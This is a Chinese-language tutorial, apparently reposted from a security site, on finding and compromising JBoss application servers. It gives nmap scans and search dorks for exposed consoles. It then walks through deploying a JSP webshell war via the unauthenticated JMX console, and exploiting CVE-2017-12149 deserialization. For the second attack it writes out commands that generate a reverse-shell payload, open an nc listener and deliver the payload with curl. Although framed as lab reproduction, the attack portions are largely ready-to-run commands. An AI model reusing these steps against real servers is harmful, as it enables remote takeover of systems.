JBoss简介
JBoss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.0、EJB2.0、EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与tomcat或jetty绑定使用。
JBoss信息收集
-
第一种,nmap扫描发现服务
nmap -sT -sV -Pn --open -p 80,8080-8090,9990,9999 -v -n 192.168.171
-
第二种,查看响应头
-
搜索引擎
-
jboss默认后台路径 /jmx-console /web-console /web-console/Invoker /Incoker/JMXInvokerServlet inurl:/console/ intitle:"JBoss Management" inurl:/jmx-console/ site:*.target.* inurl:/admin-console/ site:*.target.* intitle:"Welcome toJBoss" site:*.target.* intitle:"jboss management console" "application server" version inurl:"wbe-console" intitle:"JBoss Management Console-Server Infirmation" "application Server" inurl:"web-console" OR inurl:"jmx-console"
JBoss 4.x 控制台未授权访问getshell
-
影响版本:4.x以下
-
Jboss 4.x /jmx-console/ 后台存在未授权访问,进入后台,可部署 war 包Getshell。(带版本Jboss控制台没有账号密码,或者是弱口令)
1.环境搭建
-
安装JBoss-4.2.3,并且配置环境变量:
-
修改server配置文件:
-
启动服务并访问。
能够访问说明环境搭建成功。
2.漏洞复现
-
点击JMX Console或者url访问/jmx-console/目录
-
找到 jboss.deployment
-
在void addURL()的ParamType为java.net.URL,写入url部署Java包。
-
注意!注意!注意! 1.war包马的制作: 使用命令 jar -cvf test.war 1.jsp 这种制作的方法会比较完整。 2.这里上传war是以url形式传入,那么要构造远程加载的环境,就要用到一个容器来下载。 在kali上开启apache服务,并且将war包放在var/www/html目录下
-
-
在ParamValue位置上填入war包地址:
-
点击Invoke后返回,再点击Apply Chane
-
然后访问目录/Leo/Leo.jsp,jsp马成功上线。
JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
-
影响版本:5.x/6.x
-
描述:在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中,发现HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类,从而使攻击者可以通过精心制作的序列化数据执行任意代码。
1.环境搭建
-
安装JBoss 6.1.0版本,并且配置环境变量:
新建的Administration的用户变量,将Jboss的目录,作为变量JBOSS_HOME 的变量值。
-
修改server的配置文件,配置外网访问,将${jboss.bind.address}改为0.0.0.0,并且重启JBoss
-
访问8080端口,页面出现环境搭建成功:
在响应头中也可以看到JBoss版本。
2.漏洞复现
-
访问/invoker/readonly目录,如果出现响应500,则可能存在漏洞,需要尝试利用,如果利用成功的话,则存在该漏洞,否则不存在漏洞。
发现是响应返回500,我们尝试利用。
-
使用工具JavaDeserH2HC,这里在kali中演示
通过
git clonehttps://github.com/joaomatosf/JavaDeserH2HC.git
将工具下载后,进入目录,-
第一步,生成反弹shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.171.132:6666 // 这里的IP和端口,是要接受反弹的机子,可以是vps,这里使用kali的ip和端口
-
第二步,kali上开启监听
nc -lvvp 6666
-
第三步,利用curl将刚才生成好的payload发送到目标机器上执行
-
curl http://192.168.171.131:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
-
nc监听上反弹出shell,并且可以执行命令。
-
来源:freebuf.com 2021-04-12 10:50:20 by: ATL安全团队
请登录后发表评论
注册